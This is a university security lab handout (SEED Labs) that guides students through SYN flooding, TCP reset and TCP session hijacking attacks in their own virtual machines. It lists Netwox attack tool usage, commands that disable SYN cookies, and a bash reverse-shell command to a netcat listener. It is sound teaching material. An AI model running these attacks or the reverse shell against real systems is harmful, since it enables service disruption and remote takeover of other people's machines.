SEED Labs TCP/IP Attack Lab

TCP/IP Attack Lab

c 2006 - 2016 Wenliang Du, Syracuse University.
Copyright
The development of this document was partially funded by the National Science Foundation under Award
No. 1303306 and 1318814. This work is licensed under a Creative Commons Attribution-NonCommercialShareAlike 4.0 International License. A human-readable summary of (and not a substitute for) the license is
the following: You are free to copy and redistribute the material in any medium or format. You must give
appropriate credit. If you remix, transform, or build upon the material, you must distribute your contributions
under the same license as the original. You may not use the material for commercial purposes.

Lab Overview

The learning objective of this lab is for students to gain first-hand experience on vulnerabilities, as well
as on attacks against these vulnerabilities. Wise people learn from mistakes. In security education, we
study mistakes that lead to software vulnerabilities. Studying mistakes from the past not only help students
understand why systems are vulnerable, why a seemly-benign mistake can turn into a disaster, and why
many security mechanisms are needed. More importantly, it also helps students learn the common patterns
of vulnerabilities, so they can avoid making similar mistakes in the future. Moreover, using vulnerabilities
as case studies, students can learn the principles of secure design, secure programming, and security testing.
The vulnerabilities in the TCP/IP protocols represent a special genre of vulnerabilities in protocol designs and implementations; they provide an invaluable lesson as to why security should be designed in from
the beginning, rather than being added as an afterthought. Moreover, studying these vulnerabilities help students understand the challenges of network security and why many network security measures are needed.
In this lab, students need to conduct several attacks on the TCP protocol, including the SYN flood attack,
the TCP reset attack, and the TCP session hijacking attack.

2
2.1

Lab Environment
Environment Setup

Network Setup. To conduct this lab, students need to have at least 3 machines. One computer is used for
attacking, the second computer is used as the victim, and the third computer is used as the observer. Students
can set up 3 virtual machines on the same host computer, or they can set up 2 virtual machines, and then use
the host computer as the third computer. For this lab, we put all these three machines on the same LAN, the
configuration is described in Figure 1.
Operating System. This lab can be carried out using a variety of operating systems. Our pre-built virtual
machine is based on Ubuntu Linux, and all the tools needed for this lab are already installed. If you
prefer to use other Unix operating systems, you should feel free to do so; however, some of the commands
used in this lab description might not work or exist in other operating systems.
Netwox Tools. We need tools to send out network packets of different types and with different contents.
We can use Netwag to do that. However, the GUI interface of Netwag makes it difficult for us to automate the process. Therefore, we strongly suggest students to use its command-line version, the Netwox
command, which is the underlying command invoked by Netwag.

SEED Labs TCP/IP Attack Lab

Machine 1
192.168.0.122

Machine 2
192.168.0.123

Machine 3
192.168.0.124

Gateway
192.168.0.1

Internet

Figure 1: Environment Setup

Netwox consists of a suite of tools, each having a specific number. You can run a command like
following (the parameters depend on which tool you are using). For some of the tool, you have to run it with
the root privilege:
# netwox number [parameters ... ]
If you are not sure how to set the parameters, you can look at the manual by issuing "netwox number
--help". You can also learn the parameter settings by running Netwag: for each command you execute
from the graphic interface, Netwag actually invokes a corresponding Netwox command, and it displays
the parameter settings. Therefore, you can simply copy and paste the displayed command.
Wireshark Tool. You also need a good network-traffic sniffer tool for this lab. Although Netwox
comes with a sniffer, you will find that another tool called Wireshark is a much better sniffer tool. Both
Netwox and Wireshark can be downloaded. If you are using our pre-built virtual machine, both tools
are already installed. To sniff all the network traffic, both tools need to be run by the root.
Enabling the ftp and telnet Servers. For this lab, you may need to enable the ftp and telnet
servers. For the sake of security, these services are usually disabled by default. To enable them in our
pre-built Ubuntu virtual machine, you need to run the following commands as the root user:
Start the ftp server
# service vsftpd start
Start the telnet server
# service openbsd-inetd start

SEED Labs TCP/IP Attack Lab

2.2

Note for Instructors

For this lab, a lab session is desirable, especially if students are not familiar with the tools and the environments. If an instructor plans to hold a lab session, we suggest that the followings are covered in the lab
session. We assume that the instructor has already covered the concepts of the attacks in the lecture, so we
do not include them in the lab session.
The use of virtual machine software.
The use of Wireshark, Netwag, and Netwox tools.
Using the Netwox command-line tool to create arbitrary TCP, UDP, IP packets, etc.

Lab Tasks

In this lab, students need to conduct attacks on the TCP/IP protocols. They can use the Netwox tools
and/or other tools in the attacks. All the attacks are performed on Linux operating systems. However,
instructors can require students to also conduct the same attacks on other operating systems and compare
the observations.
To simplify the guess of TCP sequence numbers and source port numbers, we assume that attackers
are on the same physical network as the victims. Therefore, you can use sniffer tools to get that information.
The following is the list of attacks that need to be implemented.

3.1

Task 1 : SYN Flooding Attack

SYN

`
Attacker
SYN+ACK
1

Spoofed
Addresses

SYN

`
SYN+ACK

Server
3

ACK

`
4
User

SYN

Active TCP Connection

`
Server
Legitimate
User

Normal TCP 3-way handshake between user and server

No Reply

SYN Flood: attacker sends many SYN to server without ACK.

The server is not able to process request from legitimate user

Figure 2: SYN Flooding Attack

SEED Labs TCP/IP Attack Lab

SYN flood is a form of DoS attack in which attackers send many SYN requests to a victims TCP port,
but the attackers have no intention to finish the 3-way handshake procedure. Attackers either use spoofed
IP address or do not continue the procedure. Through this attack, attackers can flood the victims queue that
is used for half-opened connections, i.e. the connections that has finished SYN, SYN-ACK, but has not yet
gotten a final ACK back. When this queue is full, the victim cannot take any more connection. Figure 2
illustrates the attack.
The size of the queue has a system-wide setting. In Linux, we can check the setting using the following
command:
# sysctl -q net.ipv4.tcp_max_syn_backlog
We can use command "netstat -na" to check the usage of the queue, i.e., the number of halfopened connection associated with a listening port. The state for such connections is SYN-RECV. If the
3-way handshake is finished, the state of the connections will be ESTABLISHED.
In this task, you need to demonstrate the SYN flooding attack. You can use the Netwox tool to conduct
the attack, and then use a sniffer tool to capture the attacking packets. While the attack is going on, run
the "netstat -na" command on the victim machine, and compare the result with that before the attack.
Please also describe how you know whether the attack is successful or not.
The corresponding Netwox tool for this task is numbered 76. Here is a simple help screen for this tool.
You can also type "netwox 76 --help" to get the help information.
Listing 1: The usage of the Netwox Tool 76
Title: Synflood
Usage: netwox 76 -i ip -p port [-s spoofip]
Parameters:
-i|--dst-ip ip
destination IP address
-p|--dst-port port
destination port number
-s|--spoofip spoofip IP spoof initialzation type

SYN Cookie Countermeasure: If your attack seems unsuccessful, one thing that you can investigate is
whether the SYN cookie mechanism is turned on. SYN cookie is a defense mechanism to counter the SYN
flooding attack. The mechanism will kick in if the machine detects that it is under the SYN flooding attack.
You can use the sysctl command to turn on/off the SYN cookie mechanism:
# sysctl -a | grep cookie
(Display the SYN cookie flag)
# sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
# sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)
Please run your attacks with the SYN cookie mechanism on and off, and compare the results. In your
report, please describe why the SYN cookie can effectively protect the machine against the SYN flooding
attack. If your instructor does not cover the mechanism in the lecture, you can find out how the SYN cookie
mechanism works from the Internet.

3.2

Task 2 : TCP RST Attacks on telnet and ssh Connections

The TCP RST Attack can terminate an established TCP connection between two victims. For example, if
there is an established telnet connection (TCP) between two users A and B, attackers can spoof a RST
packet from A to B, breaking this existing connection. To succeed in this attack, attackers need to correctly
construct the TCP RST packet.

SEED Labs TCP/IP Attack Lab

In this task, you need to launch an TCP RST attack to break an existing telnet connection between A
and B. After that, try the same attack on an ssh connection. Please describe your observations. To simplify
the lab, we assume that the attacker and the victim are on the same LAN, i.e., the attacker can observe the
TCP traffic between A and B.
The corresponding Netwox tool for this task is numbered 78. Here is a simple help screen for this tool.
You can also type "netwox 78 --help" to get the help information.
Listing 2: The usage of the Netwox Tool 78
Title: Reset every TCP packet
Usage: netwox 78 [-d device] [-f filter] [-s spoofip]
Parameters:
-d|--device device
device name {Eth0}
-f|--filter filter
pcap filter
-s|--spoofip spoofip
IP spoof initialization type {linkbraw}

3.3

Task 3 : TCP RST Attacks on Video Streaming Applications

Let us make the TCP RST attack more interesting by experimenting it on the applications that are widely
used in nowadays. We choose the video streaming application in this task. For this task, you can choose
a video streaming web site that you are familiar with (we will not name any specific web site here). Most
of video sharing websites establish a TCP connection with the client for streaming the video content. The
attackers goal is to disrupt the TCP session established between the victim and video streaming machine.
To simplify the lab, we assume that the attacker and the victim are on the same LAN. In the following, we
describe the common interaction between a user (the victim) and some video-streaming web site:
The victim browses for a video content in the video-streaming web site, and selects one of the videos
for streaming.
Normally video contents are hosted by a different machine, where all the video contents are located.
After the victim selects a video, a TCP session will be established between the victim machine and
the content server for the video streaming. The victim can then view the video he/she has selected.
Your task is to disrupt the video streaming by breaking the TCP connection between the victim and the
content server. You can let the victim user browse the video-streaming site from another (virtual) machine or
from the same (virtual) machine as the attacker. Please be noted that, to avoid liability issues, any attacking
packets should be targeted at the victim machine (which is the machine run by yourself), not at the content
server machine (which does not belong to you).

3.4

Task 4 : TCP Session Hijacking

The objective of the TCP Session Hijacking attack is to hijack an existing TCP connection (session) between
two victims by injecting malicious contents into this session. If this connection is a telnet session,
attackers can inject malicious commands (e.g. deleting an important file) into this session, causing the
victims to execute the malicious commands. Figure 3 depicts how the attack works. In this task, you need
to demonstrate how you can hijack a telnet session between two computers. Your goal is to get the the
telnet server to run a malicious command from you. For the simplicity of the task, we assume that the
attacker and the victim are on the same LAN.

SEED Labs TCP/IP Attack Lab

Note: If you use Wireshark to observe the network traffic, you should be aware that when Wireshark
displays the TCP sequence number, by default, it displays the relative sequence number, which equals to the
actual sequence number minus the initial sequence number. If you want to see the actual sequence number
in a packet, you need to right click the TCP section of the Wireshark output, and select "Protocol
Preference". In the popup window, uncheck the "Relative Sequence Number and Window
Scaling" option.
The corresponding Netwox tool for this task is numbered 40. Here is part of the help screen for this
tool. You can also type "netwox 40 --help" to get the full help information. You may also need to
use Wireshark to find out the correct parameters for building the spoofed TCP packet.
Listing 3: Part usage of netwox tool 40
Title: Spoof Ip4Tcp packet
Usage: netwox 40 [-l ip] [-m ip] [-o port] [-p port] [-q uint32] [-B]
Parameters:
-l|--ip4-src ip
IP4 src {10.0.2.6}
-m|--ip4-dst ip
IP4 dst {5.6.7.8}
-o|--tcp-src port
TCP src {1234}
-p|--tcp-dst port
TCP dst {80}
-q|--tcp-seqnum uint32
TCP seqnum (rand if unset) {0}
-B|--tcp-rst|+B|--no-tcp-rst TCP rst

3-way Handshake

Data: A
ACK

Data: B
ACK

User

Sniffing

`
Server

Data: Z
Seq No.: ?

Attacker
Attacker hijacks the TCP session and sends Z to server on
behalf of client

Figure 3: TCP Session Hijacking Attack

SEED Labs TCP/IP Attack Lab

3.5

Task 5 : Creating Reverse Shell using TCP Session Hijacking

When attackers are able to inject a command to the victims machine using TCP session hijacking, they
are not interested in running one simple command on the victim machine; they are interested in running
many commands. Obviously, running these commands all through TCP session hijacking is inconvenient.
What attackers want to achieve is to use the attack to set up a back door, so they can use this back door to
conveniently conduct further damages.
A typical way to set up back doors is to run a reverse shell from the victim machine to give the attack the
shell access to the victim machine. Reverse shell is a shell process running on a remote machine, connecting
back to the attackers machine. This gives an attacker a convenient way to access a remote machine once it
has been compromised.
In the following, we will show how we can set up a reverse shell if we can directly run a command on
the victim machine (i.e. the server machine). In the TCP session hijacking attack, attackers cannot directly
run a command on the victim machine, so their jobs is to run a reverse-shell command through the session
hijacking attack. In this task, students need to demonstrate that they can achieve this goal.

(a) Use netcat to listen to connection

(b) Run the reverse shell

Figure 4: Reverse shell connection to the listening netcat process

To have a bash shell on a remote machine connect back to the attackers machine, the attacker needs a
process waiting for some connection on a given port. In this example, we will use netcat. This program
allows us to specify a port number and can listen for a connection on that port. In Figure 4(a), netcat (nc
for short) is used to listen for a connection on port 9090. In Figure 4(b), the /bin/bash command
represents the command that would normally be executed on a compromised server. This command has the
following pieces:
"/bin/bash -i": i stands for interactive, meaning that the shell must be interactive (must provide
a shell prompt)
"> /dev/tcp/10.0.2.4/9090": This causes the output (stdout) of the shell to be redirected
to the tcp connection to 10.0.2.4s port 9090. The output stdout is represented by file descriptor
number 1.
"0<&1": File descriptor 0 represents the standard input (stdin). This causes the stdin for the
shell to be obtained from the tcp connection.

SEED Labs TCP/IP Attack Lab

"2>&1": File descriptor 2 represents standard error stderr. This causes the error output to be
redirected to the tcp connection.
In summary, "/bin/bash -i > /dev/tcp/10.0.2.4/9090 0<&1 2>&1" starts a bash shell,
with its input coming from a tcp connection, and its standard and error outputs being redirected to the same
tcp connection. In Figure 4(a), when the bash shell command is executed on 10.0.2.8, it connects back
to the netcat process started on 10.0.2.4. This is confirmed via the "Connection 10.0.2.8
accepted" message displayed by netcat.
The shell prompt obtained from the connection is now connected to the bash shell. This can be observed from the difference in the current working directory (printed via pwd). Before the connection was
established, the pwd returned /home/seed. Once netcat is connected to bash, pwd in the new shell
returns /home/seed/Documents (directory corresponding to where /bin/bash is started from). We
can also observe the IP address displayed in the shell prompt is also changed to 10.0.2.8, which is the same
as that on the server machine. The output from netstat shows the established connection.
The description above shows how you can set up a reverse shell if you have the access to the target
machine, which is the telnet server in our setup, but in this task, you do not have such an access. Your
task is to launch an TCP session hijacking attack on an existing telnet session between a user and the
target server. You need to inject your malicious command into the hijacked session, so you can get a reverse
shell on the target server.

Lab Report

You should submit a lab report. The report should cover the following sections:
Design: The design of your attacks, including the attacking strategies, the packets that you use in
your attacks, the tools that you used, etc.
Observation and Explanation: Is your attack successful? How do you know whether it has succeeded or not? What do you expect to see? What have you observed? Is the observation a surprise to
you?